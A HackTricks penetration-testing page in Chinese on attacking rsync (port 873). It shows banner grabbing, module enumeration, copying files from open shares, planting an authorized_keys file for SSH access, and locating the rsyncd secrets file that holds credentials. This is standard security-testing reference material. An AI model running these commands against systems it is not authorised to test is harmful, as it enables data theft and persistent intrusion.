873 - Pentesting Rsync

支持 HackTricks

基本信息

来自 wikipedia:

rsync 是一个用于高效 传输同步 文件 的工具,能够在计算机与外部硬盘之间以及通过 网络 计算机 之间进行比较 修改时间 和文件大小。[3] 它通常出现在 类 Unix 操作系统 上。rsync 算法是一种 增量编码,用于最小化网络使用。 Zlib 可用于额外的 数据压缩[3] 并且可以使用 SSHstunnel 来增强安全性。

默认端口: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

枚举

横幅与手动通信

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

枚举共享文件夹

Rsync 模块被视为可能受密码保护的目录共享。要识别可用模块并检查它们是否需要密码,可以使用以下命令:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

请注意,某些共享可能不会出现在列表中,可能会隐藏它们。此外,访问某些共享可能会限制特定的 credentials,并显示 "Access Denied" 消息。

手动 Rsync 使用

在获得 module list 后,操作取决于是否需要身份验证。无需身份验证时,可以通过以下方式 listingcopying 文件从共享文件夹到本地目录:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

这个过程递归地传输文件,保留它们的属性和权限。

使用凭据,可以按如下方式列出和下载共享文件夹中的内容,此时将出现密码提示:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

上传内容,例如用于访问的 authorized_keys 文件,请使用:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

要定位rsyncd配置文件,请执行:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

在此文件中,secrets file 参数可能指向一个包含 用户名和密码 的文件,用于 rsyncd 认证。

参考文献

支持 HackTricks

Last updated